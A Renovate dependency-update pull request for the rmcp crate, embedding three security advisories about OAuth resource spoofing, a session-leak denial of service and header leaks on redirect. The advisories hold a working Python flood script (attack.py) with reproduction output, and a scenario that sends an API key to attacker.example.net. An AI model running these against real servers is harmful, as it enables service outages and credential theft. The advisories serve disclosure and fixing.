Skip to content

chore(deps): update rust crate rmcp to v2 [security] - #3881

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/crate-rmcp-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/crate-rmcp-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Sep 17, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Type Update Change
rmcp workspace.dependencies major 1.0.02.0.0

RMCP: Missing Resource Field Validation in OAuth Protected Resource Metadata Discovery

CVE-2026-63127 / GHSA-33f5-2c5q-wgwj

More information

Details

Summary

The rmcp library does not validate the resource parameter in OAuth Protected Resource metadata (RFC 9728), allowing a malicious MCP server to redirect OAuth flows to a legitimate authorization server and steal the resulting access tokens.

Details

RFC 9728 specifies two MUST requirements for resource parameter validation:

  • Section 7.3: the client MUST ensure that the resource identifier URL it is using as the prefix for the metadata request exactly matches the resource value in the returned metadata document.
  • Section 3.3: if the resource value returned is not identical to the URL the client used, the data MUST NOT be used.

In the current implementation (crates/rmcp/src/transport/auth.rs), the ResourceServerMetadata struct (lines 390–394) does not include a resource field:

struct ResourceServerMetadata {
    authorization_server: Option<String>,
    authorization_servers: Option<Vec<String>>,
    scopes_supported: Option<Vec<String>>,
}

And discover_oauth_server_via_resource_metadata() (lines 1446–1465) proceeds without any resource URL validation.

Recommended fix
  1. Add the resource field to the struct:
    struct ResourceServerMetadata {
        resource: Option<String>,  // RFC 9728 REQUIRED field
        authorization_server: Option<String>,
        authorization_servers: Option<Vec<String>>,
        scopes_supported: Option<Vec<String>>,
    }
  2. Add validation logic after fetching metadata:
    let Some(resource_metadata) = self
        .fetch_resource_metadata_from_url(&resource_metadata_url)
        .await?
    else {
        return Ok(None);
    };
    
    // RFC 9728: validate that the resource identifier matches our target server
    if let Some(resource) = &resource_metadata.resource {
        if resource.trim_end_matches('/') != self.base_url.as_str().trim_end_matches('/') {
            return Err(AuthError::MetadataError(format!(
                "Resource metadata mismatch: expected '{}', got '{}'",
                self.base_url, resource
            )));
        }
    }
PoC
  1. Attacker sets up a malicious MCP server at fake-mcp.com/mcp.

  2. At fake-mcp.com/mcp/.well-known/oauth-protected-resource, the attacker serves metadata declaring:

    • resource: real-mcp.com/mcp (the legitimate server)
    • authorization_servers: the legitimate authorization server(s) of real-mcp.com/mcp
  3. Victim configures any MCP client using rmcp to connect to fake-mcp.com/mcp.

  4. rmcp fetches the protected resource metadata and, without validating that the resource field (real-mcp.com/mcp) differs from the configured server (fake-mcp.com/mcp), initiates an OAuth flow with the legitimate authorization server.

  5. The victim sees a legitimate authorization prompt and completes the flow.

  6. The resulting access token — valid for real-mcp.com/mcp — is sent to fake-mcp.com/mcp in subsequent requests.

  7. The attacker captures the token and can impersonate the victim on real-mcp.com/mcp.

Impact

This is an access token theft vulnerability via OAuth resource metadata spoofing. All MCP clients built on rmcp that rely on OAuth-protected MCP servers are affected. An attacker who tricks a user into connecting to a malicious MCP server can steal valid access tokens for any legitimate MCP server, enabling full impersonation of the victim.

Credit

Jian Cui, Minsun Shim, Zhou Li, Xiaojing Liao
University of Illinois Urbana-Champaign (UIUC)
University of California, Irvine (UCI)

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service

CVE-2026-63128 / GHSA-9pj6-vhgr-3mwh

More information

Details

Summary

An unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of LocalSessionManager by sending a well-formed JSON-RPC POST that is not an InitializeRequest. The Streamable HTTP server's handle_post allocates the session before it validates the body, then early-returns on the validation failure without calling close_session. The LocalSessionHandle (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly 170 million leaked entries per day, equivalent to ≈75 GB of resident memory just from the session table.

Details

The bug lives in crates/rmcp/src/transport/streamable_http_server/tower.rs inside StreamableHttpService::handle_post. The relevant slice of 1.7.0 source (lines 1126–1170) is:

} else {
    let (session_id, transport) = self
        .session_manager
        .create_session()                                                  // (★)
        .await
        .map_err(internal_error_response("create session"))?;
    // ...capture init params if a SessionStore is configured...
    if let ClientJsonRpcMessage::Request(req) = &mut message {
        let ClientRequest::InitializeRequest(init_req) = &req.request else {
            return Err(unexpected_message_response("initialize request")); // (A)
        };
        validate_header_matches_init_body(                                 // (B)
            &part.headers,
            init_req.params.protocol_version.as_str(),
            Some(req.id.clone()),
        )?;
        req.request.extensions_mut().insert(part);
    } else {
        return Err(unexpected_message_response("initialize request"));     // (C)
    }
    let service = self
        .get_service()                                                     // (D)
        .map_err(internal_error_response("get service"))?;
    Self::spawn_session_worker(                                            // (★★)
        self.session_manager.clone(),
        session_id.clone(),
        service,
        transport,
        None,
    );
    // ...persist to external store, send response...
}

Two facts make this unsafe:

  1. (★) inserts a LocalSessionHandle into LocalSessionManager.sessions (a tokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>) and spawns a LocalSessionWorker task.
  2. (★★) spawn_session_worker is the only code path in the entire transport (besides a client-initiated HTTP DELETE reaching handle_delete) that ever invokes self.session_manager.close_session(&session_id).

Therefore the four early-returns (A), (B), (C), and (D) all skip the cleanup. What happens concretely after such an early return:

  • The local transport: WorkerTransport<LocalSessionWorker> goes out of scope; its _drop_guard cancels the worker's CancellationToken.
  • The worker, which had been awaiting event_rx.recv(), exits within milliseconds via WorkerQuitReason::Cancelled. Its event_rx receiver is dropped.
  • LocalSessionHandle.event_tx (the Sender half of the same mpsc channel) is still alive because it is owned by the HashMap entry that nothing ever removes. The channel's Inner (sized to channel_capacity = 16 by default) remains pinned in memory.

Because the worker has already exited, the SessionConfig::keep_alive and init_timeout cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore permanent for the lifetime of the server process and grows unbounded with sustained traffic.

The bug is reachable with zero authentication, the default StreamableHttpServerConfig, and the default LocalSessionManager. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate Host: <bound-address> value and is allowed through validate_dns_rebinding_headers normally.

A secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes self.sessions.write().await or .read().await against the same RwLock. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, before the box runs out of memory.

Proof of concept

The reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.

Step 1 — server harness

Cargo.toml (paste verbatim):

[package]
name = "rmcp_leak_repro"
version = "0.0.1"
edition = "2021"
publish = false

[dependencies]
rmcp = { version = "1.7.0", default-features = false, features = [
    "server",
    "transport-streamable-http-server",
] }
tokio = { version = "1", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] }
tokio-util = { version = "0.7" }
axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] }
anyhow = "1"

[workspace]

src/main.rs (paste verbatim):

//! Minimal MCP Streamable HTTP server that prints the size of the
//! LocalSessionManager.sessions HashMap once a second so the leak is
//! observable from stdout.

use std::sync::Arc;

use rmcp::{
    ErrorData, RoleServer, ServerHandler,
    model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},
    service::RequestContext,
    transport::{
        StreamableHttpServerConfig, StreamableHttpService,
        streamable_http_server::session::local::LocalSessionManager,
    },
};

const BIND_ADDRESS: &str = "127.0.0.1:8000";

#[derive(Clone, Default)]
struct MinimalServer;

impl ServerHandler for MinimalServer {
    async fn initialize(
        &self,
        _request: InitializeRequestParams,
        _cx: RequestContext<RoleServer>,
    ) -> Result<InitializeResult, ErrorData> {
        Ok(InitializeResult::new(ServerCapabilities::builder().build())
            .with_server_info(Implementation::new("rmcp-leak-repro", "0.0.1")))
    }
}

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let ct = tokio_util::sync::CancellationToken::new();
    let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default());

    // Reporter — prints sessions.len() every second.
    {
        let manager = manager.clone();
        let ct = ct.clone();
        tokio::spawn(async move {
            loop {
                tokio::select! {
                    _ = ct.cancelled() => break,
                    _ = tokio::time::sleep(std::time::Duration::from_secs(1)) => {
                        let n = manager.sessions.read().await.len();
                        println!("[count] active_sessions={n}");
                    }
                }
            }
        });
    }

    let service = StreamableHttpService::new(
        || Ok(MinimalServer::default()),
        manager.clone(),
        StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),
    );

    let router = axum::Router::new().nest_service("/mcp", service);
    let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;
    println!("[server] listening on http://{BIND_ADDRESS}/mcp");

    let _ = axum::serve(tcp_listener, router)
        .with_graceful_shutdown(async move {
            tokio::signal::ctrl_c().await.ok();
            ct.cancel();
        })
        .await;
    Ok(())
}

Start it:

cargo run --release

Initial output:

[server] listening on http://127.0.0.1:8000/mcp
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0
Step 2 — attacker

attack.py (paste verbatim — Python 3 standard library only, no pip install required):

import http.client, json, sys, time

HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp"

##### A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,

##### but NOT an `InitializeRequest`. The server's `let ... else` pattern at
##### tower.rs:1148 rejects it after the session has already been created

##### at tower.rs:1129.
body = json.dumps({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/list",
    "params": {},
}).encode("ascii")

headers = {
    "Host": f"{HOST}:{PORT}",                        # passes allowed_hosts
    "Content-Type": "application/json",
    "Accept": "application/json, text/event-stream",
    "Content-Length": str(len(body)),
}

n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000
print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}")
start = time.monotonic()
leaked = 0
for i in range(n):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    conn.request("POST", PATH, body=body, headers=headers)
    resp = conn.getresponse()
    status = resp.status
    resp.read()
    conn.close()
    if status == 422:
        leaked += 1
elapsed = time.monotonic() - start
print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).")

Run it:

python3 attack.py 1000
Step 3 — observed evidence

Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS):

[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp
[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).

Server output during and after the attack:

[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=844
[count] active_sessions=1000      <-- attack complete, attacker has disconnected
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000      <-- 20+ seconds later, still 1000
[count] active_sessions=1000
[count] active_sessions=1000

The behavioural evidence that confirms the vulnerability:

  • Every one of the 1 000 requests took the leak branch (HTTP 422 Unprocessable Entity with body Unexpected message, expect initialize request).
  • A single Python client sustained 1000 / 0.46 ≈ 2 174 leak requests per second.
  • After the attacker exited, active_sessions=1000 never decreased. The session table holds those entries for the rest of the process's lifetime.
poc
Impact
  • Attack vector: Network (AV:N). The listener binds a TCP port; the default allowed_hosts = ["localhost", "127.0.0.1", "::1"] accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened allowed_hosts to a public hostname, the attack is reachable from the network.
  • Authentication required: None.
  • User interaction required: None.
  • Result: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the SessionId Arc<str>, the LocalSessionHandle struct, and the half-dropped mpsc channel Inner). At the measured rate of 2 174 leak requests per second from one Python client:
    • 1 hour: ~7.8 M entries, ≈3.5 GB
    • 1 day: ~187 M entries, ≈84 GB
    • 1 week: process is long dead from OOM
  • Secondary effect: LocalSessionManager.sessions is behind a tokio::sync::RwLock. Every legitimate session operation (has_session, create_session, close_session, restore_session) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.
  • Worst case: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.
Suggested fix

Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.

  1. Validate before allocating. Move the ClientJsonRpcMessage::Request(InitializeRequest) discriminant check and the validate_header_matches_init_body call above the self.session_manager.create_session().await line. Reject non-initialize bodies with 422 before any state is created. This removes a class of bugs rather than patching one path. The downside is that validate_header_matches_init_body currently reads init_req.params.protocol_version, so the InitializeRequest discriminant has to be deconstructed earlier — a small refactor.
  2. RAII guard for the session. Wrap the session_id returned by create_session in a guard whose Drop impl spawns a close_session call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.

A regression test that asserts session_manager.sessions.read().await.len() == 0 after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


RMCP: Custom HTTP headers leak to cross-origin redirect targets

CVE-2026-64684 / GHSA-9g45-5xwm-f3wc

More information

Details

Summary

The rmcp crate's StreamableHttpClientTransport forwards caller-supplied custom HTTP headers (such as X-API-Key, X-Auth-Token, Api-Key) to cross-origin redirect targets. The default_http_client() function builds a reqwest::Client without a redirect policy override, so the default limited(10) policy follows 307/308 redirects and forwards all per-request headers except Authorization, Cookie, and Proxy-Authorization. Custom auth headers injected via StreamableHttpClientTransportConfig.custom_headers are not classified as sensitive and are therefore forwarded verbatim to any redirect target — including an attacker-controlled server.

Affected versions
  • Repository: github.com/modelcontextprotocol/rust-sdk
  • Crate: rmcp
  • Commit tested: c330fede90e4729c234f8e87fdbc5ea27a1dd10c (HEAD, 2026-05-21)
Vulnerability

File: crates/rmcp/src/transport/common/reqwest/streamable_http_client.rs

Root cause 1 — no redirect policy override:

// Lines 302-307
fn default_http_client() -> reqwest::Client {
    reqwest::Client::builder()
        .pool_max_idle_per_host(0)
        .build()
        .expect("failed to build default reqwest client")
}

No .redirect(reqwest::redirect::Policy::none()) call. The default limited(10) policy follows up to 10 redirects and, on cross-origin redirects, strips only Authorization, Cookie, and Proxy-Authorization.

Root cause 2 — custom headers not sensitivity-marked:

// Lines 26-35
fn apply_custom_headers(
    mut builder: reqwest::RequestBuilder,
    custom_headers: HashMap<HeaderName, HeaderValue>,
) -> Result<reqwest::RequestBuilder, StreamableHttpError<reqwest::Error>> {
    for (name, value) in custom_headers {
        validate_custom_header(&name).map_err(StreamableHttpError::ReservedHeaderConflict)?;
        builder = builder.header(name, value);  // no sensitivity marker
    }
    Ok(builder)
}

Headers added via RequestBuilder::header() are forwarded to redirect targets because reqwest only strips headers from its own sensitive-header list (Authorization, Cookie, Proxy-Authorization).

Exposed API: StreamableHttpClientTransportConfig.custom_headers (line 1070), intended for custom auth headers:

/// Custom HTTP headers to include with every request
pub custom_headers: HashMap<HeaderName, HeaderValue>,
Attack scenario
  1. A caller sets custom_headers with an API key for the MCP server:
    let config = StreamableHttpClientTransportConfig::with_uri("https://mcp.example.com/mcp")
        .custom_headers([(HeaderName::from_static("x-api-key"),
                          HeaderValue::from_static("my-secret-key"))].into());
  2. An attacker compromises mcp.example.com to return 307 Temporary Redirect to https://attacker.example.net/capture.
  3. rmcp follows the redirect, forwarding X-API-Key: my-secret-key to attacker.example.net.
  4. The attacker captures the secret and reuses it to call the MCP server directly.
Negative control

The auth_header path (StreamableHttpClientTransportConfig::auth_header()) sets the value via builder.bearer_auth(auth_header), which maps to the Authorization header — stripped by reqwest on cross-origin redirects. That path is not affected. Only custom_headers is vulnerable.

Fix

In default_http_client(), disable automatic redirect following:

fn default_http_client() -> reqwest::Client {
    reqwest::Client::builder()
        .pool_max_idle_per_host(0)
        .redirect(reqwest::redirect::Policy::none())  // <-- add this
        .build()
        .expect("failed to build default reqwest client")
}

The transport can then inspect 3xx responses and decide whether to follow, stripping sensitive headers before doing so. Alternatively, use reqwest::ClientBuilder::connection_verbose or per-request Request::headers_mut() to remove auth headers before the redirect is followed.

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

modelcontextprotocol/rust-sdk (rmcp)

v2.1.0

Compare Source

Added
  • add SEP-414 trace context meta accessors (#​910)
  • add SEP-2575 meta helpers (#​942)
Fixed
  • (transport) make AsyncRwTransport::receive cancel-safe (#​941) (#​947)
  • (auth) preserve refresh_token when refresh response omits it (#​949)
  • block redirect header leaks (#​936)
  • don't respond to unparsable messages (#​940)
  • negotiate protocol version in handler (#​930)

v2.0.0

Compare Source

Migration guide: https://redirect.github.com/modelcontextprotocol/rust-sdk/discussions/926

Added
  • [breaking] (rmcp) add Audio variant to PromptMessageContent (#​865)
  • [breaking] align model types with MCP 2025-11-25 spec (#​927)
  • deprecate roots/sampling/logging types (#​923)
Fixed
  • prevent OAuth resource spoofing (#​937)
  • block oauth metadata ssrf (#​935)
  • prevent streamable HTTP session leak (#​934)
  • fill missing fully qualified syntax in prompt_handler macros (#​866)
Other
  • consolidate repeated rmcp tests (#​931)
  • align README examples with v2 model API (#​928)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot enabled auto-merge (squash) September 17, 2026 03:13
@github-actions github-actions Bot added the type: chore Routine tasks like conversions, reorganization, and maintenance work. label Sep 17, 2026
@renovate
renovate Bot force-pushed the renovate/crate-rmcp-vulnerability branch 28 times, most recently from 40292a1 to 975b86e Compare September 19, 2026 08:51
@renovate
renovate Bot force-pushed the renovate/crate-rmcp-vulnerability branch 6 times, most recently from b2b870e to 9b34743 Compare September 20, 2026 12:33
@renovate
renovate Bot force-pushed the renovate/crate-rmcp-vulnerability branch from 9b34743 to 6afa638 Compare September 21, 2026 00:55
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

type: chore Routine tasks like conversions, reorganization, and maintenance work.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants